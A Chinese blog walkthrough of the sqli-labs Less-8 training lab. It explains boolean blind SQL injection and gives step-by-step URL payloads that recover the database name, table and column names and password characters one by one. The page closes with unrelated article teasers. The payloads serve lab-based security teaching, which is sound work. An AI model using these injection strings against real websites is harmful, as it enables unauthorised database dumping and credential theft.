news 2026/7/11 12:55:49

sqli-labs靶场 less-8

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场 less-8

less-8(布尔盲注)

关于布尔盲注,简单解释一下

布尔盲注的特质:

无回显、无报错,只返回对错状态;无回显、无报错,只返回对错状比如说 :

库名第一个字符是 a 吗?服务器:对(页面正常)

库名第二个字符是 b 吗?服务器:错(页面异常)

布尔盲注不给你答案,你只能通过页面反馈来确认对错

一些知识点

需要用到的一些函数如下

length(字符串)

作用:返回字符串的长度

用途:猜库名、表名、字段名、数据的长度

例如:

length(database()) → 库名长度 length(user()) → 用户名长度

substr(字符串, 起始位置, 截取长度)

作用:截取字符串中的某一位

盲注的固定用法:

substr(字符串, N, 1)
N = 第几位
1 = 只截 1 个字符

例如:

substr(database(),1,1) → 取库名第 1 位 substr('admin',2,1) → 取 d

ascii(字符)

作用:把字符转成 ASCII 数字

例如:

ascii('a') → 97 ascii('1') → 49 ascii('z') → 122

这些是在布尔盲注会用到的一些函数,其他涉及的我在前面的文章中进行过讲解,感兴趣的可以去看前面的文章

操作流程

由于我们在选界面已经知道是布尔盲注了,并且闭合方式为单引号

那么我们要先验证

验证布尔盲注

先进行基础的真假判断

注入,得到一个正常界面

?id=1' and 1=1 --+

再注入,发现页面异常了,那这个就是典型的布尔盲注了

?id=1' and 1=2 --+

猜数据库名的长度

注入,页面显示异常,说明数据库长度不是5

?id=1' and (length(database()))=5 --+

我后续是把5改成6,7,8进行了尝试,最后在8的时候页面正常显示了,说明数据库长度是8,中间的6,7不再进行示范

注入

?id=1' and (length(database()))=8 --+

猜数据库名称

注入,正常反馈,说明数据库第一个字符是s

?id=1' and ascii(substr(database(),1,1))=115 --+

注入,页面 正常反馈,说明第二个字母是e

?id=1' and ascii(substr(database(),2,1))=101 --+

注入,页面反馈正常,说明第三个字符是c

?id=1' and ascii(substr(database(),3,1))=99 --+

注入,页面反馈正常,说明第四个字符是u

?id=1' and ascii(substr(database(),4,1))=117 --+

注入,页面反馈正常,说明第五个字符是r

?id=1' and ascii(substr(database(),5,1))=114 --+

注入,页面反馈正常,说明第六个字符是i

?id=1' and ascii(substr(database(),6,1))=105 --+

注入,页面反馈正常,说明第七个字符是t

?id=1' and ascii(substr(database(),7,1))=116 --+

注入,页面反馈正常,说明第八个字符是y

?id=1' and ascii(substr(database(),8,1))=121 --+

那么我们可以得知数据库名称是security

爆表名

依旧是需要猜

注入,异常显示,说明第一个表名长度不是5

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=5 --+

注入,页面反馈正常说明第一个表名长度是6

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+

猜表名的每一位

注入示例如下,因为太过麻烦费时间,这里我不一一演示了,注入语句中的ASCII值需要师傅们灵活变通

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=97 --+

在之前的靶场通关中,我们已经知道了表名是users,那我们就进行长度确认

注入,说明表名确实是users

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5 --+

爆字段

师傅们可以根据这个进行尝试,我这里不做过多赘述和示例了

?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=8 --+

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+

爆数据

注入,这个是猜数据第一个字符是什么,68是d

?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+

然后师傅们可以根据我这个语句一个一个试,进行数据的脱库

小tips:

ASCII 常用的如下

  • 数字 0-9:48-57

  • 大写字母 A-Z:65-90

  • 小写字母 a-z:97-122

ASCII码表(0-127)

ASCII字符ASCII字符ASCII字符ASCII字符
32空格48065A97a
33!49166B98b
34"50267C99c
35#51368D100d
36$52469E101e
37%53570F102f
38&54671G103g
39'55772H104h
40(56873I105i
41)57974J106j
42*58:75K107k
43+59;76L108l
44,60<77M109m
45-61=78N110n
46.62>79O111o
47/63?80P112p
64@81Q113q
82R114r
83S115s
84T116t
85U117u
86V118v
87W119w
88X120x
89Y121y
90Z122z
91[123{
92\124|
93]125}
94^126~
95_

在进行布尔盲注的时候,一定要先进行真假条件的判断以及闭合方式的判断,在布尔盲注中页面的反馈确实是非常重要的

另外,布尔盲注好麻烦。我讨厌布尔盲注。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 15:30:10

发那科机器人弧焊编程进阶:如何优化组掩码设置提升寻位精度

发那科机器人弧焊编程进阶&#xff1a;组掩码优化与寻位精度提升实战 在工业机器人弧焊应用中&#xff0c;发那科(FANUC)系统凭借其稳定性和灵活性占据重要市场份额。对于已经掌握基础编程的工程师而言&#xff0c;如何通过精细参数调整提升焊接质量成为进阶关键。本文将聚焦组…

作者头像 李华
网站建设 2026/7/11 12:54:42

MogFace实战案例:如何快速从监控视频中提取人员轨迹片段?

MogFace实战案例&#xff1a;如何快速从监控视频中提取人员轨迹片段&#xff1f; 1. 监控视频分析的痛点与解决方案 在安防监控领域&#xff0c;我们经常面临一个共同挑战&#xff1a;如何从长达数小时的监控视频中快速定位特定人员的活动轨迹&#xff1f;传统方法需要安保人…

作者头像 李华
网站建设 2026/7/7 16:20:41

文档解析效率革命:Youtu-Parsing双并行加速,医学报告处理速度提升11倍

文档解析效率革命&#xff1a;Youtu-Parsing双并行加速&#xff0c;医学报告处理速度提升11倍 1. 医学文档解析的痛点与挑战 在医疗信息化快速发展的今天&#xff0c;医学影像报告的处理效率成为制约医疗服务质量提升的关键瓶颈。一份典型的胸部CT报告通常包含以下复杂元素&a…

作者头像 李华
网站建设 2026/7/7 12:39:34

5大核心场景让B站视频下载效率提升300%:BilibiliDown完全指南

5大核心场景让B站视频下载效率提升300%&#xff1a;BilibiliDown完全指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader &#x1f633; 项目地址: https://gitcode.com/gh_mi…

作者头像 李华
网站建设 2026/7/7 19:01:12

DAY33MLP神经网络的训练

一、 核心知识点回顾 1. 环境配置基础 核心操作&#xff1a;PyTorch 与 CUDA 的安装、验证及环境排查。关键命令&#xff1a; 查看显卡信息&#xff1a;nvidia-smi&#xff08;CMD 中使用&#xff09;。CUDA 检查&#xff1a;验证 PyTorch 是否能调用 GPU 加速&#xff08;.c…

作者头像 李华